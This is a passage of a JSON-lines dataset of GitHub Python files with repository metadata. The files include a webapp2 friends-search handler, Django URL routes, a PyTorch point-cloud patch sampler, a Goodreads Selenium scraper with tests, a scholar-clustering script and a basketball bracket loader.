\"client\").fetch()\r\n\r\n # Set the default language of the app\r\n if self.session['session_idiom'] == \"spa\":\r\n lang = spa # Spanish strings\r\n elif self.session['session_idiom'] == \"eng\":\r\n lang = eng # English strings\r\n else:\r\n lang = eng # Default english\r\n\r\n # Variables to be sent to the HTML page\r\n values = {\r\n \"lang\": lang, # Language strings\r\n \"session_name\": self.session.get('session_name'), # User name\r\n \"session_role\": self.session.get('session_role'), # User role\r\n \"session_picture\": self.get_session_image(self.session.get('session_name')), # User picture\r\n \"session_genre\": self.session.get('session_genre'), # User genre\r\n \"all_comics\": all_comics, # ALL comic (for the users search field)\r\n \"all_users\": all_users, # ALL users (for the search field)\r\n \"comics\": comics, # Current user comics (for the borrowinngs)\r\n }\r\n\r\n # If the key is valid\r\n if len(search) > 0:\r\n search = ndb.Key(urlsafe=search)\r\n search = search.get()\r\n\r\n # If the user exists, see if it's a friend, request other user\r\n if search and search is not None:\r\n all = Friend.query(Friend.who_ask == search.key, Friend.who_answer == user.key).fetch()\r\n aux = copy.copy(all)\r\n all = Friend.query(Friend.who_ask == user.key, Friend.who_answer == search.key).fetch()\r\n all += aux\r\n is_friend = None\r\n aux = None\r\n\r\n # See if the user is already a friend or has a friend request\r\n for elem in all:\r\n if elem.who_ask == search.key and elem.who_answer == user.key:\r\n is_friend = elem.is_friend\r\n aux = True\r\n break\r\n else:\r\n aux = False\r\n del elem\r\n\r\n # Variables to be shown in the HTML page\r\n if is_friend is None and aux is None:\r\n others = list()\r\n others.append(search)\r\n values[\"others\"] = others\r\n del others\r\n else:\r\n if is_friend == False and aux == True:\r\n requests = list()\r\n requests.append(search)\r\n values[\"requests\"] = requests\r\n del requests\r\n elif is_friend == True and aux == True:\r\n friends = list()\r\n friends.append(search)\r\n values[\"friends\"] = friends\r\n del friends\r\n\r\n del all, is_friend, aux # Delete variables to free memory\r\n\r\n # Else show a message\r\n else:\r\n values[\"ok_message\"] = lang[\"search_not_results\"] # There aren't any search result\r\n\r\n # Else show a message\r\n else:\r\n values[\"ok_message\"] = lang[\"search_not_results\"] # There aren't any search result\r\n\r\n\r\n del lang, user, all_comics, all_users, search\r\n self.session_store.save_sessions(self.response) # Save sessions\r\n self.response.write(jinja.render_template(\"/friends/default.html\", **values)) # Go to the friends home page\r\n\r\n # Else redirect to the login page\r\n else:\r\n del user # Delete variables to free memory\r\n self.redirect(\"/login\")\r\n\r\n # If it isn't logged in, redirect to the login page\r\n else:\r\n self.redirect(\"/login\")\r\n\r\n\r\n # Get the session user image\r\n def get_session_image(self, name):\r\n user = User.query(User.name == name).fetch()\r\n return user[0].picture\r\n\r\n\r\napp = webapp2.WSGIApplication([], debug=True)","repo_name":"dpvazquez20/ComicLib","sub_path":"handlers/friends/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":6296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"6967638446","text":"from django.urls import re_path\n\nfrom training.views.normal import ContestRetrieveView, ContestListView, ContestSubmitList, ContestRankList, \\\n training_verify, LearningPlanListView, LearningPlanRetrieveView\n\nurlpatterns = [\n re_path(r'^training/$', ContestListView.as_view()),\n re_path(r'^training/verify/$', training_verify),\n re_path(r'^plan/$', LearningPlanListView.as_view()),\n re_path(r'^plan/(?P\\d+)/$', LearningPlanRetrieveView.as_view()),\n re_path(r'^training/(?P\\d+)/$', ContestRetrieveView.as_view()),\n re_path(r'^sub/(?P\\d+)/$', ContestSubmitList.as_view()),\n re_path(r'^rank/(?P\\d+)/$', ContestRankList.as_view())\n]\n","repo_name":"Sunhill666/YeeOnlineJudge","sub_path":"training/urls/normal.py","file_name":"normal.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22459975041","text":"from rescue_groups.utils.call_rescue_group import api_post_req\nfrom rescue_groups.models.parser import strip_tags\nfrom rescue_groups.utils.all_fields import ALL_FIELDS\nfrom rescue_groups.utils.db_ops import save_animal, remove_animal, list_saved_animals\n\nfrom flask import current_app as app\nfrom rescue_groups.utils.logger import log\nfrom flask import render_template, request, redirect\nfrom flask_login import current_user, login_required\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\nfrom collections import OrderedDict\n\nimport json\n\nHALF_YEAR = datetime.now() + relativedelta(months=-6)\nHALF_YEAR_FILTER = datetime.strftime(HALF_YEAR, \"%m/%d/%y\")\n\ndefault_fields = [\n \"animalName\",\n \"animalThumbnailUrl\",\n \"animalSex\",\n \"animalGeneralAge\",\n \"animalLocation\",\n \"locationAddress\",\n]\n\n\n@app.route(\"/\")\ndef index():\n if current_user.is_authenticated:\n return redirect(\"/animals\")\n return redirect(\"/login\")\n\n\n@app.route(\"/animals\")\n@login_required\ndef animals_home(page=1):\n error = \"\"\n default_filter = [\n {\"fieldName\": \"animalSpecies\", \"operation\": \"equals\", \"criteria\": \"cat\"},\n {\"fieldName\": \"animalLocation\", \"operation\": \"equals\", \"criteria\": \"48105\"},\n {\"fieldName\": \"animalAdoptedDate\", \"operation\": \"blank\"},\n {\n \"fieldName\": \"animalUpdatedDate\",\n \"operation\": \"greaterthan\",\n \"criteria\": HALF_YEAR_FILTER,\n },\n ]\n log.debug(\"Attempting to gather API data\")\n start = (int(page) - 1) * 20\n results = api_post_req(\"rescue_group\", start, default_filter, default_fields)\n if results is not None:\n result_dict = json.loads(results, object_pairs_hook=OrderedDict)\n return render_template(\n \"animals.html\",\n results=result_dict,\n page=page,\n adopted=None,\n save_animal=save_animal,\n limits=[start, start + 20],\n )\n else:\n return render_template(\"error.html\", error=error)\n\n\n@app.route(\"/saved-animals\")\n@login_required\ndef animals_saved():\n try:\n saved_animals = list_saved_animals()\n return render_template(\n \"saved.html\", results=saved_animals, count=len(saved_animals),\n )\n except Exception as e:\n return render_template(\"error.html\", error=e)\n\n\n@app.route(\"/animals/\", methods=[\"GET\", \"POST\"])\n@login_required\ndef animals_page_filter(page):\n gender = request.args.get(\"gender\", request.form.get(\"gender\"))\n location = request.args.get(\"location\", request.form.get(\"location\"))\n age = request.args.get(\"age\", request.form.get(\"age\"))\n distance = request.args.get(\"distance\", request.form.get(\"distance\"))\n adopted = request.args.get(\"adopted\", request.form.get(\"adopted\"))\n\n error = \"\"\n default_filter = [\n {\"fieldName\": \"animalSpecies\", \"operation\": \"equals\", \"criteria\": \"cat\"},\n {\n \"fieldName\": \"animalUpdatedDate\",\n \"operation\": \"greaterthan\",\n \"criteria\": HALF_YEAR_FILTER,\n },\n ]\n if age not in [None, \"None\"]:\n age_filter = {\n \"fieldName\": \"animalGeneralAge\",\n \"operation\": \"equals\",\n \"criteria\": age,\n }\n default_filter.append(age_filter)\n if gender not in [None, \"None\"]:\n gender_filter = {\n \"fieldName\": \"animalSex\",\n \"operation\": \"equals\",\n \"criteria\": gender,\n }\n default_filter.append(gender_filter)\n if adopted is None:\n adopted_filter = {\"fieldName\": \"animalAdoptedDate\", \"operation\": \"blank\"}\n default_filter.append(adopted_filter)\n if location not in [\"\", None]:\n location_filter = {\n \"fieldName\": \"animalLocation\",\n \"operation\": \"equals\",\n \"criteria\": location,\n }\n default_filter.append(location_filter)\n else:\n location_filter = {\n \"fieldName\": \"animalLocation\",\n \"operation\": \"equals\",\n \"criteria\": \"48105\",\n }\n default_filter.append(location_filter)\n if distance not in [\"\", \"0\", None]:\n distance_filter = {\n \"fieldName\": \"animalLocationDistance\",\n \"operation\": \"equals\",\n \"criteria\": distance,\n }\n default_filter.append(distance_filter)\n log.info(f\"FILTER: {default_filter}\\nPAGE: {page}\")\n log.debug(\"Attempting to gather API data\")\n start = (int(page) - 1) * 20\n results = api_post_req(\"rescue_group\", start, default_filter, default_fields, True)\n if results is not None:\n result_dict = json.loads(results, object_pairs_hook=OrderedDict)\n return render_template(\n \"animals.html\",\n results=result_dict,\n page=page,\n age=age,\n gender=gender,\n adopted=adopted,\n location=location,\n distance=distance,\n save_animal=save_animal,\n limits=[start, start + 20],\n )\n else:\n return render_template(\"error.html\", error=error)\n\n\n@app.route(\"/animal/\")\n@login_required\ndef animal(animal_id):\n animal_filter = [\n {\"fieldName\": \"animalID\", \"operation\": \"equals\", \"criteria\": animal_id}\n ]\n default_fields = ALL_FIELDS\n log.debug(\"Attempting to gather API data\")\n results = api_post_req(\"rescue_group\", 0, animal_filter, default_fields)\n if results is not None:\n result_dict = json.loads(results, object_pairs_hook=OrderedDict)\n return render_template(\n \"animal.html\",\n results=result_dict,\n animal_id=animal_id,\n save_animal=save_animal,\n strip_tags=strip_tags,\n )\n else:\n return render_template(\"error.html\")\n\n\n@app.route(\"/save-animal/\", methods=[\"GET\"])\n@login_required\ndef save_animals(animal_id):\n save_animal(animal_id)\n return \"ok\", 200\n\n\n@app.route(\"/remove-animal/\")\n@login_required\ndef remove_animals(animal_id):\n remove_animal(animal_id)\n return \"ok\", 200\n","repo_name":"juangw/rescue-groups","sub_path":"rescue_groups/controllers/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":6074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"466032086","text":"import torch\nfrom einops import rearrange\nfrom pytorch3d.ops import knn_points, sample_farthest_points\nfrom torch import nn\n\n\ndef fps(xyz: torch.Tensor, n_points: int, random: bool = True):\n \"\"\"\n Args:\n xyz: pointcloud data, [B, N, 3]\n n_points: number of farthest points\n random: sample points randomly\n Returns:\n centroids: sampled points, [B, n_points, 3]\n \"\"\"\n return sample_farthest_points(xyz, K=n_points, random_start_point=random)[0]\n\n\nclass PatchedCloud:\n def __init__(\n self,\n patches: torch.Tensor,\n centers: torch.Tensor,\n is_flattened: bool = False,\n ):\n self.patches = patches # [B, n_crops, n_patches, max_patch_size, 3]\n self.centers = centers # [B, n_crops, n_patches, 3]\n\n self.is_flattened = is_flattened\n self.n_crops = patches.shape[1]\n\n def flatten(self):\n if self.is_flattened:\n return self\n else:\n return self.__class__(\n self.patches.flatten(0, 1),\n self.centers.flatten(0, 1),\n is_flattened=True,\n )\n\n def to(self, device):\n return self.__class__(\n self.patches.to(device),\n self.centers.to(device),\n is_flattened=self.is_flattened,\n )\n\n @classmethod\n def stack(cls, clouds: list[\"PatchedCloud\"]):\n if any(cloud.is_flattened for cloud in clouds):\n raise ValueError(\"Cannot stack flattened PatchedClouds\")\n\n return cls(\n torch.cat([cloud.patches for cloud in clouds], dim=0),\n torch.cat([cloud.centers for cloud in clouds], dim=0),\n )\n\n @property\n def patches_decentered(self):\n return self.patches + self.centers.unsqueeze(-2)\n\n\nclass PatchFinder(nn.Module):\n def __init__(self, n_patches: int, patch_size: int):\n super().__init__()\n self.n_patches = n_patches\n self.patch_size = patch_size\n\n def forward(self, xyz, random: bool = True) -> PatchedCloud:\n \"\"\"\n Args:\n xyz: batch of point clouds, [B, N, 3]\n Returns:\n patches: batch of patches, [B, n_patches, patch_size, 3]\n centers : centers of patches, [B, n_patches, 3]\n \"\"\"\n batch_size = xyz.shape[0]\n centers = fps(xyz, self.n_patches, random=random) # B G 3\n\n idx = knn_points(centers, xyz, K=self.patch_size).idx\n\n assert idx.size(1) == self.n_patches\n assert idx.size(2) == self.patch_size\n\n idx = rearrange(idx, \"b g n -> b (g n)\")\n patches = xyz[torch.arange(batch_size).unsqueeze(1), idx]\n patches = rearrange(patches, \"b (g n) c -> b g n c\", g=self.n_patches)\n\n patches = patches - centers.unsqueeze(2)\n\n return PatchedCloud(\n patches.unsqueeze(0),\n centers.unsqueeze(0),\n )\n\n\nclass CropSampler(nn.Module):\n def __init__(\n self,\n min_ratio: float,\n max_ratio: float,\n ):\n super().__init__()\n self.min_ratio = min_ratio\n self.max_ratio = max_ratio\n\n def forward(self, xyz: PatchedCloud) -> PatchedCloud:\n n_crops = xyz.patches.shape[1]\n xyz = xyz.flatten()\n batch_size, n_patches = xyz.patches.shape[0], xyz.patches.shape[1]\n\n crops_centers_idx = torch.multinomial(torch.ones(batch_size, n_patches), 1)\n crops_centers = xyz.centers[\n torch.arange(batch_size).unsqueeze(1), crops_centers_idx\n ]\n\n crop_length = torch.randint(\n int(self.min_ratio * n_patches),\n int(self.max_ratio * n_patches),\n (1,),\n )\n\n idx = knn_points(\n crops_centers,\n xyz.centers,\n K=crop_length.item(),\n ).idx\n\n idx = rearrange(idx, \"b c n -> b (c n)\")\n cropped_patches = xyz.patches[torch.arange(batch_size).unsqueeze(1), idx]\n cropped_centers = xyz.centers[torch.arange(batch_size).unsqueeze(1), idx]\n\n cropped_patches = rearrange(\n cropped_patches, \"(b c) n g d -> b c n g d\", c=n_crops\n )\n cropped_centers = rearrange(cropped_centers, \"(b c) n g -> b c n g\", c=n_crops)\n\n return PatchedCloud(\n cropped_patches,\n cropped_centers,\n )\n","repo_name":"szacho/pointcam","sub_path":"pointcam/utils/crop.py","file_name":"crop.py","file_ext":"py","file_size_in_byte":4295,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"16984571582","text":"class Solution:\n def merge(self, intervals: List[List[int]]) -> List[List[int]]:\n if len(intervals) == 1:\n return intervals\n\n intervals.sort()\n stack = [intervals[0][0], intervals[0][1]]\n\n for arr in intervals[1:]:\n if arr[0] < stack[-1] <= arr[1]:\n while arr[0] < stack[-1] <= arr[1] and len(stack) > 1:\n stack.pop()\n if arr[1] > stack[-1]:\n stack.append(arr[1])\n break\n else:\n if arr[0] == stack[-1]:\n stack.pop()\n stack.append(arr[1])\n else:\n if arr[0] > stack[-1]:\n stack.append(arr[0])\n\n if arr[1] >= stack[-1]:\n stack.append(arr[1])\n\n res = [[stack[pos], stack[pos+1]] for pos in range(0, len(stack), 2)]\n return res\n ","repo_name":"dyhliang/Leetcode","sub_path":"56-merge-intervals/56-merge-intervals.py","file_name":"56-merge-intervals.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"42758093729","text":"import random \nrandNumber = random.randint(1, 5)\n# print(randNumber)\n\nuserGuess = None\nguesses = 0\nwhile(userGuess != randNumber):\n userGuess = int(input(\"Guess a number between 1 and 5: \"))\n guesses += 1\n if(userGuess == randNumber):\n print(\"You guessed correctly!\")\n else:\n if(userGuess > randNumber):\n print(\"Your guess is too high!\")\n elif(userGuess < randNumber):\n print(\"Your guess is too low!\") \n # print(\"You guessed Wrong!\")\n\nprint(f\"It took you {guesses} guesses to guess the number\")\n\nwith open('hiScore.txt', 'r') as f:\n hiScore = int(f.read())\n \nif(guesses < hiScore):\n with open('hiScore.txt', 'w') as f:\n f.write(str(guesses))\n print(\"You beat the high score!\") \n \n# with open('hiScore.txt', 'w') as f:\n# f.write(f\"It took you {guesses} guesses to guess the number\")\n# f.close()","repo_name":"Rakib-Coder00/python_bootcamp","sub_path":"project02/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"18252790834","text":"\n\nfrom mimetypes import init\nimport unittest\n\nfrom setuptools import setup\n\nfrom webscraper import scraper\n\nfrom selenium import webdriver\nfrom selenium.webdriver import chrome\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\n# selenium 4\nfrom selenium import webdriver\n#driver = webdriver.Chrome('/home/user/drivers/chromedriver')\nfrom selenium.webdriver.chrome.service import Service\nfrom webdriver_manager.chrome import ChromeDriverManager\n\ndriver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))\n\n\n\n#from selenium.common.exceptions import ElementNotInteractableException\n#import pandas as pd\n#from pandas.testing import assert_frame_equal\n\nimport unittest\nimport os\n\n\nclass scraperTestCase(unittest.TestCase):\n def setUp(self):\n self.bot= scraper('colleen hoover','https://www.goodreads.com/')\n \n\n def test_bookurl(self):\n expected = \"https://www.goodreads.com/search?utf8=%E2%9C%93&query=colleen+hoover\"\n self.bot.click_search_bar()\n self.bot.search()\n self.bot.click_search_button()\n self.bot.close_login_popup()\n actual= self.bot.driver.current_url\n self.assertEqual(expected, actual)\n\n def test_finding_container(self):\n self.bot.click_search_bar()\n self.bot.search()\n self.bot.click_search_button()\n self.assertIsNotNone(self.bot.finding_containers)\n\n def test_list_books_urls(self):\n expected = list\n self.bot.click_search_bar()\n self.bot.search()\n self.bot.click_search_button()\n self.bot.finding_containers()\n self.bot.list_urls_other()\n self.bot.list_books_urls()\n actual = type(self.bot.list_books_urls())\n self.assertIs(actual,expected)\n #assertIs\n\n def test_save_json(self):\n self.bot.click_search_bar()\n self.bot.search()\n self.bot.click_search_button()\n #self.bot.close_login_popup()\n self.bot.finding_containers()\n self.bot.list_urls_other()\n self.bot.list_books_urls()\n #self.bot.books_info()\n self.bot.save_injson()\n self.assertTrue(os.path.exists('/home/pramika/Documents/Aicore/data_collection_project/raw_data/data.json'))\n\n def test_download_images(self):\n self.bot.click_search_bar()\n self.bot.search()\n self.bot.click_search_button()\n self.bot.finding_containers()\n self.bot.list_urls_other()\n self.bot.list_books_urls()\n self.bot.save_injson()\n self.bot.download_images()\n self.assertTrue(os.path.exists('/home/pramika/Documents/Aicore/data_collection_project/raw_data/images'))\n self.assertTrue(os.path.exists('/home/pramika/Documents/Aicore/data_collection_project/raw_data/images/Colleen Hoover0.jpg'))\n self.assertTrue(os.path.exists('/home/pramika/Documents/Aicore/data_collection_project/raw_data/images/Colleen Hoover1.jpg'))\n self.assertTrue(os.path.exists('/home/pramika/Documents/Aicore/data_collection_project/raw_data/images/Colleen Hoover2.jpg'))\n self.assertTrue(os.path.exists('/home/pramika/Documents/Aicore/data_collection_project/raw_data/images/Colleen Hoover3.jpg'))\n self.assertTrue(os.path.exists('/home/pramika/Documents/Aicore/data_collection_project/raw_data/images/Colleen Hoover4.jpg'))\n\n\nunittest.main(argv=[''], verbosity=5, exit=False)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n\n","repo_name":"pramiik/Data_collection_pipeline","sub_path":"test_scraper.py","file_name":"test_scraper.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20766894421","text":"from flask_restful import Resource\nimport main\n\nclass SmokeResorces(Resource):\n \"\"\"\n GET endpoint handler to test the process\n \"\"\"\n\n def get(self):\n\n student = {\n \"id\": 34,\n \"group\":'214',\n \"firstname\": \"smfffoke\",\n \"lastname\": \"smodddke\"\n }\n data = main.Student(student['id'] ,student['group'],student[\"firstname\"],student[\"lastname\"])\n main.db.session.add(data)\n main.db.session.commit()\n return 'Hello'\n\n","repo_name":"Reennon/Students-Back-End","sub_path":"lab6/resources/smoke_resource.py","file_name":"smoke_resource.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73390164201","text":"import unittest\nimport import_ipynb\nfrom t_conf_int import *\n\nclass Test(unittest.TestCase):\n \n def test1(self):\n #Assume\n data = [2,3,5,6,9]\n con_lvl = 0.95\n #Action\n result = t_confidence_interval(data,con_lvl)\n result2 = tuple(map(lambda x: isinstance(x, float) and round(x, 2) or x, result))\n #Assert\n self.assertSequenceEqual(result2,(1.60,8.40))\n \n \nif __name__ == '__main__':\n unittest.main()\n","repo_name":"PacktWorkshops/The-Statistics-and-Calculus-with-Python-Workshop","sub_path":"Chapter09/Small_Sample_Confidence_Interval/t_conf_int_test.py","file_name":"t_conf_int_test.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":111,"dataset":"github-code","pt":"18"} +{"seq_id":"20739456499","text":"import numpy as np \nimport pandas as pd \nfrom sklearn.cluster import KMeans\nfrom scipy.spatial.distance import cdist\nfrom sklearn.preprocessing import scale\nimport matplotlib.pyplot as plt\n\n\nclass Clustering(object):\n '''\n Cluster the scholars in the data set\n '''\n def __init__(self, file_path = \"./results/cluster_features.csv\"):\n self.data = pd.read_csv(file_path, index_col=0)\n #self.data.drop([31], inplace=True)\n self.data.drop([76], inplace=True)\n self.data.drop([47], inplace=True)\n self.data.iloc[:, 1] = 2020 - self.data.iloc[:, 1]\n self.data = self.data.rename({\"earliest_year\":\"academic_age\"}, axis=\"columns\")\n self.full_features = scale(self.data.iloc[:, 1:])\n self.features_no_h = scale(self.data.iloc[:, [1,3,4,5]])\n self.features_no_j = scale(self.data.iloc[:, [1,2,3,4]])\n self.features_no_pj = scale(self.data.iloc[:, [1,2,3]])\n self.features_no_c = scale(self.data.iloc[:, [1,2,4,5]])\n self.features_no_ch = scale(self.data.iloc[:, [1,4,5]])\n\n def kmeans_clustering(self, data, n, save_data=False):\n model = KMeans(n_clusters=n).fit(data)\n mean_dist = sum(np.min(cdist(data, model.cluster_centers_, \"euclidean\"), axis=1))/data.shape[0]\n self.labels = model.labels_\n self.result = self.data\n self.result[\"labels\"] = self.labels\n print(self.result)\n if save_data:\n self.result.to_csv(\"./results/cluster_orders.csv\")\n print(\"data saved.\")\n \n return mean_dist\n\n def select_opt_k(self, data):\n mean_dist = []\n for k in range(1, 6):\n temp = self.kmeans_clustering(data=data, n=k)\n mean_dist.append(temp)\n\n figure, ax = plt.subplots(1, 1)\n ax.plot(range(1, 6), mean_dist, \"o-\")\n ax.set_xticks(range(1, 6))\n ax.set_xlabel(\"k\")\n ax.set_ylabel(\"SSE\")\n plt.savefig(\"./results/figures/elb.png\", dpi=800)\n plt.show()\n\n def draw_scatter_plots(self):\n data = self.result.iloc[:, [1,2,3,4,5,6]]\n type0 = data[data[\"labels\"]==0]\n type1 = data[data[\"labels\"]==1]\n type2 = data[data[\"labels\"]==2]\n type3 = data[data[\"labels\"]==3]\n \n figure, ax = plt.subplots(2, 2)\n ax[0,0].scatter(type0.iloc[:,0], type0.iloc[:, 4], s=(type0.iloc[:, 1]/20.0)**2, c=\"red\", label=\"type0\")\n ax[0,0].scatter(type1.iloc[:,0], type1.iloc[:, 4], s=(type1.iloc[:, 1]/20.0)**2, c=\"blue\", label=\"type1\")\n ax[0,0].scatter(type2.iloc[:,0], type2.iloc[:, 4], s=(type2.iloc[:, 1]/20.0)**2, c=\"green\", label=\"type2\")\n ax[0,0].scatter(type3.iloc[:,0], type3.iloc[:, 4], s=(type3.iloc[:, 1]/20.0)**2, c=\"orange\", label=\"type3\")\n ax[0,0].set_xlabel(\"Academic age\")\n ax[0,0].set_ylabel(\"Number of citation\")\n\n ax[0,1].scatter(type0.iloc[:,0], type0.iloc[:, 3], s=(type0.iloc[:, 1]/20.0)**2, c=\"red\", label=\"type0\")\n ax[0,1].scatter(type1.iloc[:,0], type1.iloc[:, 3], s=(type1.iloc[:, 1]/20.0)**2, c=\"blue\", label=\"type1\")\n ax[0,1].scatter(type2.iloc[:,0], type2.iloc[:, 3], s=(type2.iloc[:, 1]/20.0)**2, c=\"green\", label=\"type2\")\n ax[0,1].scatter(type3.iloc[:,0], type3.iloc[:, 3], s=(type3.iloc[:, 1]/20.0)**2, c=\"orange\", label=\"type3\")\n ax[0,1].set_xlabel(\"Academic age\")\n ax[0,1].set_ylabel(\"Number of paper\")\n\n ax[1,0].scatter(type0.iloc[:,0], type0.iloc[:, 1], s=(type0.iloc[:, 1]/20.0)**2, c=\"red\", label=\"type0\")\n ax[1,0].scatter(type1.iloc[:,0], type1.iloc[:, 1], s=(type1.iloc[:, 1]/20.0)**2, c=\"blue\", label=\"type1\")\n ax[1,0].scatter(type2.iloc[:,0], type2.iloc[:, 1], s=(type2.iloc[:, 1]/20.0)**2, c=\"green\", label=\"type2\")\n ax[1,0].scatter(type3.iloc[:,0], type3.iloc[:, 1], s=(type3.iloc[:, 1]/20.0)**2, c=\"orange\", label=\"type3\")\n ax[1,0].set_ylabel(\"H-index\")\n ax[1,0].set_xlabel(\"Academic age\")\n\n ax[1,1].scatter(type0.iloc[:,4], type0.iloc[:, 3], s=(type0.iloc[:, 1]/20.0)**2, c=\"red\", label=\"type0\")\n ax[1,1].scatter(type1.iloc[:,4], type1.iloc[:, 3], s=(type1.iloc[:, 1]/20.0)**2, c=\"blue\", label=\"type1\")\n ax[1,1].scatter(type2.iloc[:,4], type2.iloc[:, 3], s=(type2.iloc[:, 1]/20.0)**2, c=\"green\", label=\"type2\")\n ax[1,1].scatter(type3.iloc[:,4], type3.iloc[:, 3], s=(type3.iloc[:, 1]/20.0)**2, c=\"orange\", label=\"type3\")\n ax[1,1].set_ylabel(\"Number of paper\")\n ax[1,1].set_xlabel(\"Number of citation\")\n\n plt.subplots_adjust(wspace=0.45, hspace=0.45)\n\n ax[0,0].legend()\n ax[0,1].legend()\n ax[1,0].legend()\n ax[1,1].legend()\n plt.savefig(\"./results/figures/cluster_figure.png\", dpi=800)\n plt.show()\n \n\n\ndef extract_cluster_features():\n data = pd.read_csv(\"./results/earliest_year.csv\", index_col=0)\n data.index = range(0, data.shape[0])\n data = data.rename({\"0\":\"name\", \"1\":\"earliest_year\"}, axis=\"columns\")\n #print(data.head())\n\n coauthor_data = pd.read_excel(\"./data/author_info/AuthorInfo.xlsx\")\n coauthor_data = coauthor_data.iloc[:, 2:]\n #print(coauthor_data.head())\n\n num_data = pd.read_csv(\"./results/num_info.csv\", index_col=0)\n num_data = num_data.iloc[:, 1:]\n #print(num_data.head())\n\n data = pd.concat([data, coauthor_data], axis=1)\n data = pd.concat([data, num_data], axis=1)\n #print(data.head())\n\n data.to_csv(\"./results/cluster_features.csv\")\n print(\"data saved.\")\n\n\n\nif __name__ == \"__main__\":\n #extract_cluster_features()\n C = Clustering()\n data = C.features_no_c\n C.select_opt_k(data)\n C.kmeans_clustering(data=data, n=4, save_data=False)\n C.draw_scatter_plots()\n \n \n ","repo_name":"Xiaochr/2020-Tsinghua-Hua-Cup","sub_path":"clustering.py","file_name":"clustering.py","file_ext":"py","file_size_in_byte":5694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"33513056093","text":"\nimport os\nfrom app import create_app, mail\nfrom flask_mail import Message\n\n#APP_SETTINGS_MODULE = config.dev\n\nsettings_module = os.getenv('APP_SETTINGS_MODULE')\napp = create_app(settings_module)\nwith app.app_context():\n msg = Message(\"Hola perinola\", sender=\"fernandezpablo27@yahoo.com.ar\", recipients=[\"pablofernandezdistribuidor@gmail.com\"])\n\n msg.body = 'Bienvenid@ a mi bloghg probando'\n msg.html = '

Bienvenid@ a este bloghhhaaarsss

'\n\n mail.send(msg)\n\n","repo_name":"polifer27/miblog","sub_path":"mail.py","file_name":"mail.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29617863288","text":"'''\nGiven a number int_input, find the product of all the digits\nexample: \n\tinput: 123\n\toutput: 6\n'''\ndef main():\n s = int(input())\n sum = 1\n while s > 0:\n print(s)\n rem = s%10\n sum = sum*rem\n s = s//10\n print(sum)\nmain()\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\"\"\"\ndef main():\n '''\n Read any number from the input, store it in variable int_input.\n '''\n s = str(input())\n z = \"\"\n for n in s:\n if n ==\"!\" or n ==\"@\" or n ==\"#\" or n ==\"$\" or n ==\"%\" or n ==\"^\" or n ==\"&\" or n ==\"*\":\n z+=\" \"\n else:\n z+=n\n print(z) \nmain()\"\"\"\n","repo_name":"madhavimvh/madhavi","sub_path":"cspp1-assignments/m6/p3/digit_product.py","file_name":"digit_product.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71803831079","text":"\r\nimport csv\r\nimport datetime\r\nnow = datetime.datetime.now()\r\n\r\n#Load class information\r\nfrom classes.team import Team\r\n\r\n'''Fill in the starting bracket (list of 64 teams, with names, regions, and seeds)'''\r\n\r\n#Read through the file once, getting the first team\r\ndef load_tourny_teams(year):\r\n teams = []\r\n with open('data/Big_Dance_CSV.csv', 'r') as teams1_file:\r\n readCSV = csv.reader(teams1_file, delimiter=',')\r\n #Skip the header row\r\n header = next(readCSV)\r\n for row in readCSV:\r\n #Record region_num, region, seed, and team name for each team\r\n r_year = row[0]\r\n round = row[1]\r\n if (int(r_year) == year and int(round) == 1):\r\n region_number = row[2]\r\n region_name = row[3]\r\n seed = row[4]\r\n score = row[5]\r\n team = row[6]\r\n\r\n # https://api.sportradar.us/ncaamb/{access_level}/{version}/{language_code}/league/hierarchy.{format}?api_key={your_api_key}\r\n\r\n team = Team(r_year, round, region_number, region_name, seed, score, team)\r\n teams.append(team)\r\n\r\n #Read through the file once, getting the other, opponent team\r\n with open('data/Big_Dance_CSV.csv', 'r') as teams2_file:\r\n readCSV = csv.reader(teams2_file, delimiter=',')\r\n #Skip the header row\r\n header = next(readCSV)\r\n for row in readCSV:\r\n #Record region_num, region, seed, and team name for each team\r\n r_year = row[0]\r\n round = row[1]\r\n if (int(r_year) == year and int(round) == 1):\r\n region_number = row[2]\r\n region_name = row[3]\r\n seed = row[7]\r\n score = row[8]\r\n team = row[9]\r\n\r\n team = Team(r_year, round, region_number, region_name, seed, score, team)\r\n teams.append(team)\r\n\r\n #Confirm there are 64 teams loaded into the tournamnet\r\n assert len(teams) == 64, \"Wrong number of teams. Check team name spelling\"\r\n\r\n return 